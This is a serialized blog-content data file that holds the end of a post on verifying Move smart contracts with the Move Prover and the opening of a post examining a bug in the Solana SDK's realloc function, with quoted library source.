hildren":15039},{"style":676},[15040],{"type":29,"value":14936},{"type":23,"tag":230,"props":15042,"children":15043},{"style":274},[15044],{"type":29,"value":5467},{"type":23,"tag":230,"props":15046,"children":15047},{"style":268},[15048],{"type":29,"value":218},{"type":23,"tag":230,"props":15050,"children":15051},{"style":262},[15052],{"type":29,"value":12063},{"type":23,"tag":230,"props":15054,"children":15055},{"style":274},[15056],{"type":29,"value":277},{"type":23,"tag":230,"props":15058,"children":15059},{"class":232,"line":391},[15060,15064,15068,15072,15077,15081,15086,15091],{"type":23,"tag":230,"props":15061,"children":15062},{"style":274},[15063],{"type":29,"value":11046},{"type":23,"tag":230,"props":15065,"children":15066},{"style":262},[15067],{"type":29,"value":14962},{"type":23,"tag":230,"props":15069,"children":15070},{"style":268},[15071],{"type":29,"value":12147},{"type":23,"tag":230,"props":15073,"children":15074},{"style":262},[15075],{"type":29,"value":15076}," multiplier",{"type":23,"tag":230,"props":15078,"children":15079},{"style":268},[15080],{"type":29,"value":312},{"type":23,"tag":230,"props":15082,"children":15083},{"style":274},[15084],{"type":29,"value":15085},"value) ",{"type":23,"tag":230,"props":15087,"children":15088},{"style":268},[15089],{"type":29,"value":15090},">>",{"type":23,"tag":230,"props":15092,"children":15093},{"style":5149},[15094],{"type":29,"value":15095}," 32\n",{"type":23,"tag":230,"props":15097,"children":15098},{"class":232,"line":400},[15099],{"type":23,"tag":230,"props":15100,"children":15101},{"style":274},[15102],{"type":29,"value":1931},{"type":23,"tag":59,"props":15104,"children":15106},{"id":15105},"access-control-policies",[15107],{"type":29,"value":15108},"Access Control Policies",{"type":23,"tag":32,"props":15110,"children":15111},{},[15112],{"type":29,"value":15113},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":23,"tag":32,"props":15115,"children":15116},{},[15117,15119,15125,15127,15132],{"type":29,"value":15118},"For example, in ",{"type":23,"tag":71,"props":15120,"children":15122},{"className":15121},[],[15123],{"type":29,"value":15124},"std::offer",{"type":29,"value":15126}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":23,"tag":2258,"props":15128,"children":15129},{},[15130],{"type":29,"value":15131},"or",{"type":29,"value":15133}," the recipient is now allowed.",{"type":23,"tag":220,"props":15135,"children":15137},{"code":15136,"language":5319,"meta":7,"className":5320,"style":7},"    spec redeem {\n      /// Aborts if there is no offer under `offer_address` or if the account\n      /// cannot redeem the offer.\n      /// Ensures that the offered struct under `offer_address` is removed.\n      aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n      aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n      ensures !exists\u003COffer\u003COffered>>(offer_address);\n      ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n    }\n",[15138],{"type":23,"tag":71,"props":15139,"children":15140},{"__ignoreMap":7},[15141,15158,15166,15174,15182,15229,15287,15330,15396],{"type":23,"tag":230,"props":15142,"children":15143},{"class":232,"line":233},[15144,15149,15154],{"type":23,"tag":230,"props":15145,"children":15146},{"style":262},[15147],{"type":29,"value":15148},"    spec",{"type":23,"tag":230,"props":15150,"children":15151},{"style":262},[15152],{"type":29,"value":15153}," redeem",{"type":23,"tag":230,"props":15155,"children":15156},{"style":274},[15157],{"type":29,"value":277},{"type":23,"tag":230,"props":15159,"children":15160},{"class":232,"line":243},[15161],{"type":23,"tag":230,"props":15162,"children":15163},{"style":237},[15164],{"type":29,"value":15165},"      /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":23,"tag":230,"props":15167,"children":15168},{"class":232,"line":252},[15169],{"type":23,"tag":230,"props":15170,"children":15171},{"style":237},[15172],{"type":29,"value":15173},"      /// cannot redeem the offer.\n",{"type":23,"tag":230,"props":15175,"children":15176},{"class":232,"line":280},[15177],{"type":23,"tag":230,"props":15178,"children":15179},{"style":237},[15180],{"type":29,"value":15181},"      /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":23,"tag":230,"props":15183,"children":15184},{"class":232,"line":334},[15185,15189,15194,15198,15202,15207,15211,15216,15220,15225],{"type":23,"tag":230,"props":15186,"children":15187},{"style":262},[15188],{"type":29,"value":11386},{"type":23,"tag":230,"props":15190,"children":15191},{"style":268},[15192],{"type":29,"value":15193}," !",{"type":23,"tag":230,"props":15195,"children":15196},{"style":262},[15197],{"type":29,"value":9041},{"type":23,"tag":230,"props":15199,"children":15200},{"style":274},[15201],{"type":29,"value":8143},{"type":23,"tag":230,"props":15203,"children":15204},{"style":676},[15205],{"type":29,"value":15206},"Offer",{"type":23,"tag":230,"props":15208,"children":15209},{"style":274},[15210],{"type":29,"value":8143},{"type":23,"tag":230,"props":15212,"children":15213},{"style":676},[15214],{"type":29,"value":15215},"Offered",{"type":23,"tag":230,"props":15217,"children":15218},{"style":274},[15219],{"type":29,"value":9063},{"type":23,"tag":230,"props":15221,"children":15222},{"style":262},[15223],{"type":29,"value":15224},"offer_address",{"type":23,"tag":230,"props":15226,"children":15227},{"style":274},[15228],{"type":29,"value":753},{"type":23,"tag":230,"props":15230,"children":15231},{"class":232,"line":371},[15232,15236,15240,15245,15249,15253,15257,15261,15266,15270,15274,15278,15283],{"type":23,"tag":230,"props":15233,"children":15234},{"style":262},[15235],{"type":29,"value":11386},{"type":23,"tag":230,"props":15237,"children":15238},{"style":268},[15239],{"type":29,"value":15193},{"type":23,"tag":230,"props":15241,"children":15242},{"style":262},[15243],{"type":29,"value":15244},"is_allowed_recipient",{"type":23,"tag":230,"props":15246,"children":15247},{"style":274},[15248],{"type":29,"value":8143},{"type":23,"tag":230,"props":15250,"children":15251},{"style":676},[15252],{"type":29,"value":15215},{"type":23,"tag":230,"props":15254,"children":15255},{"style":274},[15256],{"type":29,"value":9947},{"type":23,"tag":230,"props":15258,"children":15259},{"style":262},[15260],{"type":29,"value":15224},{"type":23,"tag":230,"props":15262,"children":15263},{"style":274},[15264],{"type":29,"value":15265},", signer",{"type":23,"tag":230,"props":15267,"children":15268},{"style":268},[15269],{"type":29,"value":5818},{"type":23,"tag":230,"props":15271,"children":15272},{"style":294},[15273],{"type":29,"value":9545},{"type":23,"tag":230,"props":15275,"children":15276},{"style":274},[15277],{"type":29,"value":302},{"type":23,"tag":230,"props":15279,"children":15280},{"style":262},[15281],{"type":29,"value":15282},"account",{"type":23,"tag":230,"props":15284,"children":15285},{"style":274},[15286],{"type":29,"value":9559},{"type":23,"tag":230,"props":15288,"children":15289},{"class":232,"line":391},[15290,15294,15298,15302,15306,15310,15314,15318,15322,15326],{"type":23,"tag":230,"props":15291,"children":15292},{"style":262},[15293],{"type":29,"value":10522},{"type":23,"tag":230,"props":15295,"children":15296},{"style":268},[15297],{"type":29,"value":15193},{"type":23,"tag":230,"props":15299,"children":15300},{"style":262},[15301],{"type":29,"value":9041},{"type":23,"tag":230,"props":15303,"children":15304},{"style":274},[15305],{"type":29,"value":8143},{"type":23,"tag":230,"props":15307,"children":15308},{"style":676},[15309],{"type":29,"value":15206},{"type":23,"tag":230,"props":15311,"children":15312},{"style":274},[15313],{"type":29,"value":8143},{"type":23,"tag":230,"props":15315,"children":15316},{"style":676},[15317],{"type":29,"value":15215},{"type":23,"tag":230,"props":15319,"children":15320},{"style":274},[15321],{"type":29,"value":9063},{"type":23,"tag":230,"props":15323,"children":15324},{"style":262},[15325],{"type":29,"value":15224},{"type":23,"tag":230,"props":15327,"children":15328},{"style":274},[15329],{"type":29,"value":753},{"type":23,"tag":230,"props":15331,"children":15332},{"class":232,"line":400},[15333,15337,15341,15345,15350,15354,15359,15363,15367,15371,15375,15379,15383,15387,15391],{"type":23,"tag":230,"props":15334,"children":15335},{"style":262},[15336],{"type":29,"value":10522},{"type":23,"tag":230,"props":15338,"children":15339},{"style":262},[15340],{"type":29,"value":11492},{"type":23,"tag":230,"props":15342,"children":15343},{"style":268},[15344],{"type":29,"value":5621},{"type":23,"tag":230,"props":15346,"children":15347},{"style":294},[15348],{"type":29,"value":15349}," old",{"type":23,"tag":230,"props":15351,"children":15352},{"style":274},[15353],{"type":29,"value":302},{"type":23,"tag":230,"props":15355,"children":15356},{"style":262},[15357],{"type":29,"value":15358},"global",{"type":23,"tag":230,"props":15360,"children":15361},{"style":274},[15362],{"type":29,"value":8143},{"type":23,"tag":230,"props":15364,"children":15365},{"style":676},[15366],{"type":29,"value":15206},{"type":23,"tag":230,"props":15368,"children":15369},{"style":274},[15370],{"type":29,"value":8143},{"type":23,"tag":230,"props":15372,"children":15373},{"style":676},[15374],{"type":29,"value":15215},{"type":23,"tag":230,"props":15376,"children":15377},{"style":274},[15378],{"type":29,"value":9063},{"type":23,"tag":230,"props":15380,"children":15381},{"style":262},[15382],{"type":29,"value":15224},{"type":23,"tag":230,"props":15384,"children":15385},{"style":274},[15386],{"type":29,"value":5467},{"type":23,"tag":230,"props":15388,"children":15389},{"style":268},[15390],{"type":29,"value":312},{"type":23,"tag":230,"props":15392,"children":15393},{"style":274},[15394],{"type":29,"value":15395},"offered);\n",{"type":23,"tag":230,"props":15397,"children":15398},{"class":232,"line":444},[15399],{"type":23,"tag":230,"props":15400,"children":15401},{"style":274},[15402],{"type":29,"value":1552},{"type":23,"tag":32,"props":15404,"children":15405},{},[15406],{"type":29,"value":15407},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":23,"tag":59,"props":15409,"children":15411},{"id":15410},"complex-mathematical-formulae",[15412],{"type":29,"value":15413},"Complex Mathematical Formulae",{"type":23,"tag":32,"props":15415,"children":15416},{},[15417,15419,15424],{"type":29,"value":15418},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":23,"tag":2258,"props":15420,"children":15421},{},[15422],{"type":29,"value":15423},"always",{"type":29,"value":15425}," the output.",{"type":23,"tag":32,"props":15427,"children":15428},{},[15429],{"type":29,"value":15430},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":23,"tag":32,"props":15432,"children":15433},{},[15434,15436,15443],{"type":29,"value":15435},"For example, in our work with ",{"type":23,"tag":181,"props":15437,"children":15440},{"href":15438,"rel":15439},"https://laminar.markets/",[185],[15441],{"type":29,"value":15442},"Laminar Markets",{"type":29,"value":15444},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":23,"tag":59,"props":15446,"children":15448},{"id":15447},"data-invariants",[15449],{"type":29,"value":15450},"Data Invariants",{"type":23,"tag":32,"props":15452,"children":15453},{},[15454,15456,15462,15463,15469,15471,15477,15479,15485],{"type":29,"value":15455},"Formal verification provides the best environment to verify that certain ",{"type":23,"tag":71,"props":15457,"children":15459},{"className":15458},[],[15460],{"type":29,"value":15461},"variables",{"type":29,"value":2769},{"type":23,"tag":71,"props":15464,"children":15466},{"className":15465},[],[15467],{"type":29,"value":15468},"resources",{"type":29,"value":15470}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":23,"tag":71,"props":15472,"children":15474},{"className":15473},[],[15475],{"type":29,"value":15476},"index",{"type":29,"value":15478}," is never greater than 4 using a ",{"type":23,"tag":71,"props":15480,"children":15482},{"className":15481},[],[15483],{"type":29,"value":15484},"struct invariant",{"type":29,"value":312},{"type":23,"tag":220,"props":15487,"children":15489},{"code":15488,"language":5319,"meta":7,"className":5320,"style":7},"struct Type {\n    index: u64\n}\n\nspec Type {\n    invariant index \u003C 4;\n}\n",[15490],{"type":23,"tag":71,"props":15491,"children":15492},{"__ignoreMap":7},[15493,15509,15526,15533,15540,15555,15579],{"type":23,"tag":230,"props":15494,"children":15495},{"class":232,"line":233},[15496,15500,15505],{"type":23,"tag":230,"props":15497,"children":15498},{"style":256},[15499],{"type":29,"value":11733},{"type":23,"tag":230,"props":15501,"children":15502},{"style":676},[15503],{"type":29,"value":15504}," Type",{"type":23,"tag":230,"props":15506,"children":15507},{"style":274},[15508],{"type":29,"value":277},{"type":23,"tag":230,"props":15510,"children":15511},{"class":232,"line":243},[15512,15517,15521],{"type":23,"tag":230,"props":15513,"children":15514},{"style":262},[15515],{"type":29,"value":15516},"    index",{"type":23,"tag":230,"props":15518,"children":15519},{"style":268},[15520],{"type":29,"value":218},{"type":23,"tag":230,"props":15522,"children":15523},{"style":676},[15524],{"type":29,"value":15525}," u64\n",{"type":23,"tag":230,"props":15527,"children":15528},{"class":232,"line":252},[15529],{"type":23,"tag":230,"props":15530,"children":15531},{"style":274},[15532],{"type":29,"value":975},{"type":23,"tag":230,"props":15534,"children":15535},{"class":232,"line":280},[15536],{"type":23,"tag":230,"props":15537,"children":15538},{"emptyLinePlaceholder":18},[15539],{"type":29,"value":459},{"type":23,"tag":230,"props":15541,"children":15542},{"class":232,"line":334},[15543,15547,15551],{"type":23,"tag":230,"props":15544,"children":15545},{"style":262},[15546],{"type":29,"value":10610},{"type":23,"tag":230,"props":15548,"children":15549},{"style":676},[15550],{"type":29,"value":15504},{"type":23,"tag":230,"props":15552,"children":15553},{"style":274},[15554],{"type":29,"value":277},{"type":23,"tag":230,"props":15556,"children":15557},{"class":232,"line":371},[15558,15562,15567,15571,15575],{"type":23,"tag":230,"props":15559,"children":15560},{"style":262},[15561],{"type":29,"value":10627},{"type":23,"tag":230,"props":15563,"children":15564},{"style":262},[15565],{"type":29,"value":15566}," index",{"type":23,"tag":230,"props":15568,"children":15569},{"style":268},[15570],{"type":29,"value":11055},{"type":23,"tag":230,"props":15572,"children":15573},{"style":5149},[15574],{"type":29,"value":14076},{"type":23,"tag":230,"props":15576,"children":15577},{"style":274},[15578],{"type":29,"value":511},{"type":23,"tag":230,"props":15580,"children":15581},{"class":232,"line":391},[15582],{"type":23,"tag":230,"props":15583,"children":15584},{"style":274},[15585],{"type":29,"value":975},{"type":23,"tag":32,"props":15587,"children":15588},{},[15589,15591,15598,15599,15605],{"type":29,"value":15590},"We were able to verify more complex properties in our recent audits for ",{"type":23,"tag":181,"props":15592,"children":15595},{"href":15593,"rel":15594},"https://layerzero.network/",[185],[15596],{"type":29,"value":15597},"LayerZero",{"type":29,"value":112},{"type":23,"tag":181,"props":15600,"children":15603},{"href":15601,"rel":15602},"http://ariesmarkets.xyz/",[185],[15604],{"type":29,"value":9126},{"type":29,"value":15606},", but the details are left as an exercise to the reader.",{"type":23,"tag":59,"props":15608,"children":15610},{"id":15609},"economic-invariants",[15611],{"type":29,"value":15612},"Economic Invariants.",{"type":23,"tag":32,"props":15614,"children":15615},{},[15616],{"type":29,"value":15617},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":23,"tag":32,"props":15619,"children":15620},{},[15621],{"type":29,"value":15622},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":23,"tag":220,"props":15624,"children":15625},{"code":10302,"language":5319,"meta":7,"className":5320,"style":7},[15626],{"type":23,"tag":71,"props":15627,"children":15628},{"__ignoreMap":7},[15629,15636,15719,15758,15777,15784,15799,15822,15845,15868],{"type":23,"tag":230,"props":15630,"children":15631},{"class":232,"line":233},[15632],{"type":23,"tag":230,"props":15633,"children":15634},{"style":237},[15635],{"type":29,"value":10314},{"type":23,"tag":230,"props":15637,"children":15638},{"class":232,"line":243},[15639,15643,15647,15651,15655,15659,15663,15667,15671,15675,15679,15683,15687,15691,15695,15699,15703,15707,15711,15715],{"type":23,"tag":230,"props":15640,"children":15641},{"style":262},[15642],{"type":29,"value":8906},{"type":23,"tag":230,"props":15644,"children":15645},{"style":294},[15646],{"type":29,"value":10326},{"type":23,"tag":230,"props":15648,"children":15649},{"style":274},[15650],{"type":29,"value":302},{"type":23,"tag":230,"props":15652,"children":15653},{"style":262},[15654],{"type":29,"value":10335},{"type":23,"tag":230,"props":15656,"children":15657},{"style":268},[15658],{"type":29,"value":218},{"type":23,"tag":230,"props":15660,"children":15661},{"style":676},[15662],{"type":29,"value":8197},{"type":23,"tag":230,"props":15664,"children":15665},{"style":274},[15666],{"type":29,"value":684},{"type":23,"tag":230,"props":15668,"children":15669},{"style":262},[15670],{"type":29,"value":10352},{"type":23,"tag":230,"props":15672,"children":15673},{"style":268},[15674],{"type":29,"value":218},{"type":23,"tag":230,"props":15676,"children":15677},{"style":676},[15678],{"type":29,"value":8197},{"type":23,"tag":230,"props":15680,"children":15681},{"style":274},[15682],{"type":29,"value":5467},{"type":23,"tag":230,"props":15684,"children":15685},{"style":268},[15686],{"type":29,"value":218},{"type":23,"tag":230,"props":15688,"children":15689},{"style":274},[15690],{"type":29,"value":664},{"type":23,"tag":230,"props":15692,"children":15693},{"style":676},[15694],{"type":29,"value":10377},{"type":23,"tag":230,"props":15696,"children":15697},{"style":274},[15698],{"type":29,"value":684},{"type":23,"tag":230,"props":15700,"children":15701},{"style":676},[15702],{"type":29,"value":10377},{"type":23,"tag":230,"props":15704,"children":15705},{"style":274},[15706],{"type":29,"value":703},{"type":23,"tag":230,"props":15708,"children":15709},{"style":262},[15710],{"type":29,"value":8681},{"type":23,"tag":230,"props":15712,"children":15713},{"style":676},[15714],{"type":29,"value":10398},{"type":23,"tag":230,"props":15716,"children":15717},{"style":274},[15718],{"type":29,"value":277},{"type":23,"tag":230,"props":15720,"children":15721},{"class":232,"line":252},[15722,15726,15730,15734,15738,15742,15746,15750,15754],{"type":23,"tag":230,"props":15723,"children":15724},{"style":256},[15725],{"type":29,"value":10410},{"type":23,"tag":230,"props":15727,"children":15728},{"style":262},[15729],{"type":29,"value":10415},{"type":23,"tag":230,"props":15731,"children":15732},{"style":268},[15733],{"type":29,"value":271},{"type":23,"tag":230,"props":15735,"children":15736},{"style":294},[15737],{"type":29,"value":10424},{"type":23,"tag":230,"props":15739,"children":15740},{"style":274},[15741],{"type":29,"value":302},{"type":23,"tag":230,"props":15743,"children":15744},{"style":262},[15745],{"type":29,"value":10335},{"type":23,"tag":230,"props":15747,"children":15748},{"style":274},[15749],{"type":29,"value":684},{"type":23,"tag":230,"props":15751,"children":15752},{"style":262},[15753],{"type":29,"value":10352},{"type":23,"tag":230,"props":15755,"children":15756},{"style":274},[15757],{"type":29,"value":753},{"type":23,"tag":230,"props":15759,"children":15760},{"class":232,"line":280},[15761,15765,15769,15773],{"type":23,"tag":230,"props":15762,"children":15763},{"style":294},[15764],{"type":29,"value":10452},{"type":23,"tag":230,"props":15766,"children":15767},{"style":274},[15768],{"type":29,"value":302},{"type":23,"tag":230,"props":15770,"children":15771},{"style":262},[15772],{"type":29,"value":10461},{"type":23,"tag":230,"props":15774,"children":15775},{"style":274},[15776],{"type":29,"value":4516},{"type":23,"tag":230,"props":15778,"children":15779},{"class":232,"line":334},[15780],{"type":23,"tag":230,"props":15781,"children":15782},{"style":274},[15783],{"type":29,"value":1331},{"type":23,"tag":230,"props":15785,"children":15786},{"class":232,"line":371},[15787,15791,15795],{"type":23,"tag":230,"props":15788,"children":15789},{"style":262},[15790],{"type":29,"value":10480},{"type":23,"tag":230,"props":15792,"children":15793},{"style":262},[15794],{"type":29,"value":10326},{"type":23,"tag":230,"props":15796,"children":15797},{"style":274},[15798],{"type":29,"value":277},{"type":23,"tag":230,"props":15800,"children":15801},{"class":232,"line":391},[15802,15806,15810,15814,15818],{"type":23,"tag":230,"props":15803,"children":15804},{"style":262},[15805],{"type":29,"value":10496},{"type":23,"tag":230,"props":15807,"children":15808},{"style":262},[15809],{"type":29,"value":10501},{"type":23,"tag":230,"props":15811,"children":15812},{"style":268},[15813],{"type":29,"value":863},{"type":23,"tag":230,"props":15815,"children":15816},{"style":256},[15817],{"type":29,"value":10510},{"type":23,"tag":230,"props":15819,"children":15820},{"style":274},[15821],{"type":29,"value":511},{"type":23,"tag":230,"props":15823,"children":15824},{"class":232,"line":400},[15825,15829,15833,15837,15841],{"type":23,"tag":230,"props":15826,"children":15827},{"style":262},[15828],{"type":29,"value":10522},{"type":23,"tag":230,"props":15830,"children":15831},{"style":262},[15832],{"type":29,"value":10527},{"type":23,"tag":230,"props":15834,"children":15835},{"style":268},[15836],{"type":29,"value":10532},{"type":23,"tag":230,"props":15838,"children":15839},{"style":262},[15840],{"type":29,"value":10537},{"type":23,"tag":230,"props":15842,"children":15843},{"style":274},[15844],{"type":29,"value":511},{"type":23,"tag":230,"props":15846,"children":15847},{"class":232,"line":444},[15848,15852,15856,15860,15864],{"type":23,"tag":230,"props":15849,"children":15850},{"style":262},[15851],{"type":29,"value":10522},{"type":23,"tag":230,"props":15853,"children":15854},{"style":262},[15855],{"type":29,"value":10553},{"type":23,"tag":230,"props":15857,"children":15858},{"style":268},[15859],{"type":29,"value":10532},{"type":23,"tag":230,"props":15861,"children":15862},{"style":262},[15863],{"type":29,"value":10562},{"type":23,"tag":230,"props":15865,"children":15866},{"style":274},[15867],{"type":29,"value":511},{"type":23,"tag":230,"props":15869,"children":15870},{"class":232,"line":453},[15871],{"type":23,"tag":230,"props":15872,"children":15873},{"style":274},[15874],{"type":29,"value":1331},{"type":23,"tag":32,"props":15876,"children":15877},{},[15878],{"type":29,"value":15879},"Some other ideas include",{"type":23,"tag":144,"props":15881,"children":15882},{},[15883,15888,15893],{"type":23,"tag":102,"props":15884,"children":15885},{},[15886],{"type":29,"value":15887},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":23,"tag":102,"props":15889,"children":15890},{},[15891],{"type":29,"value":15892},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":23,"tag":102,"props":15894,"children":15895},{},[15896],{"type":29,"value":15897},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":23,"tag":24,"props":15899,"children":15900},{"id":7649},[15901],{"type":29,"value":7652},{"type":23,"tag":32,"props":15903,"children":15904},{},[15905],{"type":29,"value":15906},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":23,"tag":32,"props":15908,"children":15909},{},[15910],{"type":29,"value":15911},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":23,"tag":32,"props":15913,"children":15914},{},[15915,15917,15922],{"type":29,"value":15916},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":23,"tag":181,"props":15918,"children":15920},{"href":11573,"rel":15919},[185],[15921],{"type":29,"value":11577},{"type":29,"value":312},{"type":23,"tag":5178,"props":15924,"children":15925},{},[15926],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":15928},[15929,15930,15933,15940],{"id":11637,"depth":243,"text":11640},{"id":11691,"depth":243,"text":11694,"children":15931},[15932],{"id":11941,"depth":252,"text":11937},{"id":14839,"depth":243,"text":14842,"children":15934},[15935,15936,15937,15938,15939],{"id":14855,"depth":252,"text":14858},{"id":15105,"depth":252,"text":15108},{"id":15410,"depth":252,"text":15413},{"id":15447,"depth":252,"text":15450},{"id":15609,"depth":252,"text":15612},{"id":7649,"depth":243,"text":7652},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":15945,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":15946,"description":15947,"author":15948,"image":15949,"date":15951,"isFeatured":18,"onBlogPage":18,"tags":15952,"body":15953,"_type":5202,"_id":21062,"_source":5204,"_file":21063,"_stem":21064,"_extension":5207},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":15950,"height":15,"width":16},"/posts/rust-realloc-and-references/title.jpg","2022-12-09",[5220,11601],{"type":20,"children":15954,"toc":21046},[15955,15983,16003,16673,16693,16704,16716,16849,16859,16865,16891,17230,17275,17601,17663,17676,17750,17818,17839,17852,17866,18214,18225,18230,18361,18412,18438,18450,18623,18759,18800,18837,18902,18907,18944,18998,19009,19151,19163,19169,19175,19208,19222,19343,19362,19390,19396,19486,19576,19582,19587,19634,19903,19978,19989,20015,20347,20359,20432,20703,20740,21042],{"type":23,"tag":32,"props":15956,"children":15957},{},[15958,15960,15966,15968,15973,15975,15981],{"type":29,"value":15959},"It all started with an audit of a program that used ",{"type":23,"tag":71,"props":15961,"children":15963},{"className":15962},[],[15964],{"type":29,"value":15965},"realloc",{"type":29,"value":15967}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":23,"tag":71,"props":15969,"children":15971},{"className":15970},[],[15972],{"type":29,"value":15965},{"type":29,"value":15974}," call (from ",{"type":23,"tag":71,"props":15976,"children":15978},{"className":15977},[],[15979],{"type":29,"value":15980},"solana_program",{"type":29,"value":15982},") would error out appropriately.",{"type":23,"tag":32,"props":15984,"children":15985},{},[15986,15988,15994,15995,16002],{"type":29,"value":15987},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":23,"tag":71,"props":15989,"children":15991},{"className":15990},[],[15992],{"type":29,"value":15993},"AccountInfo::realloc",{"type":29,"value":7840},{"type":23,"tag":181,"props":15996,"children":15999},{"href":15997,"rel":15998},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[185],[16000],{"type":29,"value":16001},"implemented",{"type":29,"value":218},{"type":23,"tag":220,"props":16004,"children":16006},{"className":5320,"code":16005,"language":5319,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n    let orig_len = self.data_len();\n\n    // realloc\n    unsafe {\n        // First set new length in the serialized data\n        let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n        *ptr = new_len as u64;\n\n        // Then set the new length in the local slice\n        let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n        *ptr = new_len as u64;\n    }\n\n    // zero-init if requested\n    if zero_init && new_len > orig_len {\n        sol_memset(\n            &mut self.try_borrow_mut_data()?[orig_len..],\n            0,\n            new_len.saturating_sub(orig_len),\n        );\n    }\n\n    Ok(())\n}\n",[16007],{"type":23,"tag":71,"props":16008,"children":16009},{"__ignoreMap":7},[16010,16104,16138,16145,16153,16165,16173,16265,16298,16305,16313,16443,16474,16481,16488,16496,16530,16542,16591,16603,16632,16639,16646,16653,16666],{"type":23,"tag":230,"props":16011,"children":16012},{"class":232,"line":233},[16013,16018,16023,16028,16032,16036,16041,16045,16050,16054,16059,16063,16068,16072,16076,16080,16085,16090,16095,16100],{"type":23,"tag":230,"props":16014,"children":16015},{"style":256},[16016],{"type":29,"value":16017},"pub",{"type":23,"tag":230,"props":16019,"children":16020},{"style":256},[16021],{"type":29,"value":16022}," fn",{"type":23,"tag":230,"props":16024,"children":16025},{"style":294},[16026],{"type":29,"value":16027}," realloc",{"type":23,"tag":230,"props":16029,"children":16030},{"style":274},[16031],{"type":29,"value":302},{"type":23,"tag":230,"props":16033,"children":16034},{"style":268},[16035],{"type":29,"value":5448},{"type":23,"tag":230,"props":16037,"children":16038},{"style":256},[16039],{"type":29,"value":16040},"self",{"type":23,"tag":230,"props":16042,"children":16043},{"style":274},[16044],{"type":29,"value":684},{"type":23,"tag":230,"props":16046,"children":16047},{"style":262},[16048],{"type":29,"value":16049},"new_len",{"type":23,"tag":230,"props":16051,"children":16052},{"style":268},[16053],{"type":29,"value":218},{"type":23,"tag":230,"props":16055,"children":16056},{"style":676},[16057],{"type":29,"value":16058}," usize",{"type":23,"tag":230,"props":16060,"children":16061},{"style":274},[16062],{"type":29,"value":684},{"type":23,"tag":230,"props":16064,"children":16065},{"style":262},[16066],{"type":29,"value":16067},"zero_init",{"type":23,"tag":230,"props":16069,"children":16070},{"style":268},[16071],{"type":29,"value":218},{"type":23,"tag":230,"props":16073,"children":16074},{"style":676},[16075],{"type":29,"value":14381},{"type":23,"tag":230,"props":16077,"children":16078},{"style":274},[16079],{"type":29,"value":703},{"type":23,"tag":230,"props":16081,"children":16082},{"style":268},[16083],{"type":29,"value":16084},"->",{"type":23,"tag":230,"props":16086,"children":16087},{"style":676},[16088],{"type":29,"value":16089}," Result",{"type":23,"tag":230,"props":16091,"children":16092},{"style":274},[16093],{"type":29,"value":16094},"\u003C(), ",{"type":23,"tag":230,"props":16096,"children":16097},{"style":676},[16098],{"type":29,"value":16099},"ProgramError",{"type":23,"tag":230,"props":16101,"children":16102},{"style":274},[16103],{"type":29,"value":9617},{"type":23,"tag":230,"props":16105,"children":16106},{"class":232,"line":243},[16107,16111,16116,16120,16125,16129,16134],{"type":23,"tag":230,"props":16108,"children":16109},{"style":256},[16110],{"type":29,"value":5340},{"type":23,"tag":230,"props":16112,"children":16113},{"style":262},[16114],{"type":29,"value":16115}," orig_len",{"type":23,"tag":230,"props":16117,"children":16118},{"style":268},[16119],{"type":29,"value":271},{"type":23,"tag":230,"props":16121,"children":16122},{"style":256},[16123],{"type":29,"value":16124}," self",{"type":23,"tag":230,"props":16126,"children":16127},{"style":268},[16128],{"type":29,"value":312},{"type":23,"tag":230,"props":16130,"children":16131},{"style":294},[16132],{"type":29,"value":16133},"data_len",{"type":23,"tag":230,"props":16135,"children":16136},{"style":274},[16137],{"type":29,"value":2140},{"type":23,"tag":230,"props":16139,"children":16140},{"class":232,"line":252},[16141],{"type":23,"tag":230,"props":16142,"children":16143},{"emptyLinePlaceholder":18},[16144],{"type":29,"value":459},{"type":23,"tag":230,"props":16146,"children":16147},{"class":232,"line":280},[16148],{"type":23,"tag":230,"props":16149,"children":16150},{"style":237},[16151],{"type":29,"value":16152},"    // realloc\n",{"type":23,"tag":230,"props":16154,"children":16155},{"class":232,"line":334},[16156,16161],{"type":23,"tag":230,"props":16157,"children":16158},{"style":256},[16159],{"type":29,"value":16160},"    